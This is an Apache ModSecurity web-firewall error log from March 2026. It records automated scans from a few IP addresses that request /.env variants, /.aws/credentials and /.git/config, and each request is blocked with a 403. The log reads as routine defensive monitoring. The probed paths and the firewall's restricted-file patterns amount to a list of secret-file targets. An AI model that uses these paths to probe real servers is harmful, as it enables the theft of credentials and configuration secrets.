[Thu Mar 12 23:25:13.960088 2026] [:error] [pid 2656513] [client 45.148.10.238:53576] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abM9SdYP7IfwyGfz0ydehQAAAAA"]
[Thu Mar 12 23:25:13.960307 2026] [:error] [pid 2656513] [client 45.148.10.238:53576] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abM9SdYP7IfwyGfz0ydehQAAAAA"]
[Thu Mar 12 23:25:13.960456 2026] [:error] [pid 2656513] [client 45.148.10.238:53576] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abM9SdYP7IfwyGfz0ydehQAAAAA"]
[Thu Mar 12 23:25:13.963038 2026] [:error] [pid 2656514] [client 45.148.10.238:53592] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abM9SdQgN0ifamzUYv2NQwAAAAE"]
[Thu Mar 12 23:25:13.963231 2026] [:error] [pid 2656514] [client 45.148.10.238:53592] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abM9SdQgN0ifamzUYv2NQwAAAAE"]
[Thu Mar 12 23:25:13.963348 2026] [:error] [pid 2656514] [client 45.148.10.238:53592] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abM9SdQgN0ifamzUYv2NQwAAAAE"]
[Thu Mar 12 23:25:13.985947 2026] [:error] [pid 2656517] [client 45.148.10.238:53606] [client 45.148.10.238] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abM9SU8nGn4wn25ee503TAAAAAU"]
[Thu Mar 12 23:25:13.986123 2026] [:error] [pid 2656517] [client 45.148.10.238:53606] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abM9SU8nGn4wn25ee503TAAAAAU"]
[Thu Mar 12 23:25:13.986234 2026] [:error] [pid 2656517] [client 45.148.10.238:53606] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abM9SU8nGn4wn25ee503TAAAAAU"]
[Thu Mar 12 23:25:14.002733 2026] [:error] [pid 2656515] [client 45.148.10.238:53634] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abM9Shh46oOr_mPgZ6HLmwAAAAI"]
[Thu Mar 12 23:25:14.002884 2026] [:error] [pid 2656515] [client 45.148.10.238:53634] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abM9Shh46oOr_mPgZ6HLmwAAAAI"]
[Thu Mar 12 23:25:14.002986 2026] [:error] [pid 2656515] [client 45.148.10.238:53634] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abM9Shh46oOr_mPgZ6HLmwAAAAI"]
[Thu Mar 12 23:25:14.050452 2026] [:error] [pid 2656559] [client 45.148.10.238:53660] [client 45.148.10.238] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abM9SrbFPdu4mU61us0xjAAAAAY"]
[Thu Mar 12 23:25:14.050593 2026] [:error] [pid 2656559] [client 45.148.10.238:53660] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abM9SrbFPdu4mU61us0xjAAAAAY"]
[Thu Mar 12 23:25:14.050652 2026] [:error] [pid 2656516] [client 45.148.10.238:53676] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abM9Svv0eBlLRFPxh3wEPAAAAAM"]
[Thu Mar 12 23:25:14.050772 2026] [:error] [pid 2656559] [client 45.148.10.238:53660] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abM9SrbFPdu4mU61us0xjAAAAAY"]
[Thu Mar 12 23:25:14.050826 2026] [:error] [pid 2656516] [client 45.148.10.238:53676] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abM9Svv0eBlLRFPxh3wEPAAAAAM"]
[Thu Mar 12 23:25:14.050903 2026] [:error] [pid 2656559] [client 45.148.10.238:53660] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abM9SrbFPdu4mU61us0xjAAAAAY"]
[Thu Mar 12 23:25:14.050982 2026] [:error] [pid 2656516] [client 45.148.10.238:53676] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abM9Svv0eBlLRFPxh3wEPAAAAAM"]
[Thu Mar 12 23:25:15.957327 2026] [:error] [pid 2656514] [client 45.148.10.238:53718] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "abM9S9QgN0ifamzUYv2NRAAAAAE"]
[Thu Mar 12 23:25:15.957505 2026] [:error] [pid 2656514] [client 45.148.10.238:53718] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "abM9S9QgN0ifamzUYv2NRAAAAAE"]
[Thu Mar 12 23:25:15.957632 2026] [:error] [pid 2656514] [client 45.148.10.238:53718] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "abM9S9QgN0ifamzUYv2NRAAAAAE"]
[Thu Mar 12 23:25:16.014722 2026] [:error] [pid 2656517] [client 45.148.10.238:53734] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abM9TE8nGn4wn25ee503TQAAAAU"]
[Thu Mar 12 23:25:16.014894 2026] [:error] [pid 2656517] [client 45.148.10.238:53734] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abM9TE8nGn4wn25ee503TQAAAAU"]
[Thu Mar 12 23:25:16.015020 2026] [:error] [pid 2656517] [client 45.148.10.238:53734] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abM9TE8nGn4wn25ee503TQAAAAU"]
[Thu Mar 12 23:49:21.134167 2026] [:error] [pid 2656557] [client 172.203.179.65:55014] [client 172.203.179.65] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abNC8YswgfI3duxLZWseMwAAAAQ"]
[Thu Mar 12 23:49:21.134898 2026] [:error] [pid 2656557] [client 172.203.179.65:55014] [client 172.203.179.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abNC8YswgfI3duxLZWseMwAAAAQ"]
[Thu Mar 12 23:49:21.135067 2026] [:error] [pid 2656557] [client 172.203.179.65:55014] [client 172.203.179.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abNC8YswgfI3duxLZWseMwAAAAQ"]
[Fri Mar 13 06:03:27.600085 2026] [:error] [pid 2664182] [client 45.148.10.238:35862] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abOanwDGDCE5IClNI0jfbwAAAAc"]
[Fri Mar 13 06:03:27.600263 2026] [:error] [pid 2664182] [client 45.148.10.238:35862] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abOanwDGDCE5IClNI0jfbwAAAAc"]
[Fri Mar 13 06:03:27.600411 2026] [:error] [pid 2664182] [client 45.148.10.238:35862] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abOanwDGDCE5IClNI0jfbwAAAAc"]
[Fri Mar 13 07:44:28.544922 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sLQAAAAY"]
[Fri Mar 13 07:44:28.545146 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sLQAAAAY"]
[Fri Mar 13 07:44:28.545319 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sLQAAAAY"]
[Fri Mar 13 07:44:28.569675 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abOyTNw5WhVPlcU-Rd0sLgAAAAY"]
[Fri Mar 13 07:44:28.569807 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abOyTNw5WhVPlcU-Rd0sLgAAAAY"]
[Fri Mar 13 07:44:28.570037 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abOyTNw5WhVPlcU-Rd0sLgAAAAY"]
[Fri Mar 13 07:44:28.570227 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abOyTNw5WhVPlcU-Rd0sLgAAAAY"]
